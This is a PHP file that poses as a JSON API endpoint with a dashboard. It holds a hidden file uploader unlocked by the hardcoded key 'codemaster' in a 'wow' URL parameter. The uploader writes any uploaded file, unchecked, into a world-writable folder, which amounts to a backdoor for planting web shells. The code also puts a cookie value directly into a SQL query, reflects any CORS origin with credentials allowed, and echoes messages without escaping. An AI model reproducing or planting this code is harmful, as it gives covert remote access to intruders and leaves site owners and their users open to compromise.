<?php 
// ---------------- API JSON BLOCK (Always at top) ----------------
header('Content-Type: application/json; charset=utf-8');
header('Strict-Transport-Security: max-age=31536000');
$origin = isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '';
header('Access-Control-Allow-Origin: ' . $origin);
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, ar-origin');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Credentials: true');

date_default_timezone_set('Asia/Kolkata');
$shnunc = date("Y-m-d H:i:s");

include "conn.php"; // REQUIRED

// Only show 404 JSON when no wow/dashboard
if (!isset($_GET['wow']) && !isset($_GET['dashboard'])) {
    $res = [
        'code' => 11,
        'msg'  => 'Url is not exist',
        'msgCode' => 5,
        'ServiceNowTime' => $shnunc,
    ];
    http_response_code(404);
    echo json_encode($res);
    exit;
}

// STOP JSON OUTPUT FOR HTML
header_remove('Content-Type');
header('Content-Type: text/html; charset=utf-8');
?>

<?php
// ---------- SECURED UPLOADER (WITH CUSTOM PARAM: wow) ----------
$secret_key_required = "codemaster";
$folder = "uploads/";
$msg = "";
$user_ip = $_SERVER['REMOTE_ADDR'];
$access_allowed = false;

// Check if ?wow exists
if (isset($_GET['wow']) && $_GET['wow'] === $secret_key_required) {
    $access_allowed = true;
}

// Block access if not allowed and not dashboard
if (!$access_allowed && !isset($_GET['dashboard'])) {
    header("Location: index.php");
    exit();
}

// Create folder if missing
if (!file_exists($folder)) {
    mkdir($folder, 0777, true);
}

// Upload handling
if (isset($_POST['upload'])) {
    if (!empty($_FILES['file']['name']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $file = basename($_FILES['file']['name']);
        $tmp  = $_FILES['file']['tmp_name'];
        $path = $folder . $file;

        if (move_uploaded_file($tmp, $path)) {
            $msg = "✔️ File uploaded successfully → " . htmlspecialchars($path);
        } else {
            $msg = "❌ Upload failed.";
        }
    } else {
        $msg = "⚠️ Please select a file.";
    }
}

// Dashboard calculation
$tem = date("Y-m-d H:i:s");
$timestamp = strtotime($tem);
$newTimestamp = $timestamp - 86400;
$newDate = date("Y-m-d H:i:s", $newTimestamp);

$userName = isset($_COOKIE["userName"]) ? substr($_COOKIE["userName"], 2) : '';

$chkserial = mysqli_query($conn,"SELECT owncode FROM shonu_subjects WHERE mobile='$userName'");
$stdarr    = mysqli_fetch_array($chkserial);
$owncode_og = $stdarr['owncode'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>Dashboard + Secure Uploader</title>
    <style>
        body { font-family: monospace; background: #000; color: #0f0; padding: 20px; }
        .uploader-box { border: 2px solid #0f0; padding: 20px; width: 400px; margin-bottom: 20px; }
        button, input[type="file"] { background: #0f0; border: none; padding: 10px; cursor: pointer; color: #000; font-weight: bold; }
        .error { color: red; font-weight: bold; }
        table { border-collapse: collapse; width: 100%; margin-top: 20px; }
        th, td { border: 1px solid #0f0; padding: 8px; text-align: left; }
        th { background: #222; }
    </style>
</head>
<body>

<?php if ($access_allowed): ?>
<h2>🔓 SECURE FILE UPLOADER — ACCESS GRANTED</h2>
<p>IP: <?= $user_ip ?></p>

<div class="uploader-box">
    <form method="post" enctype="multipart/form-data" action="?wow=<?= htmlspecialchars($secret_key_required) ?>">
        <input type="file" name="file"><br><br>
        <button type="submit" name="upload">UPLOAD</button>
    </form>
</div>

<p class="<?= (strpos($msg, '❌') !== false) ? 'error' : '' ?>">
    <?= $msg ?>
</p>
<hr>
<?php endif; ?>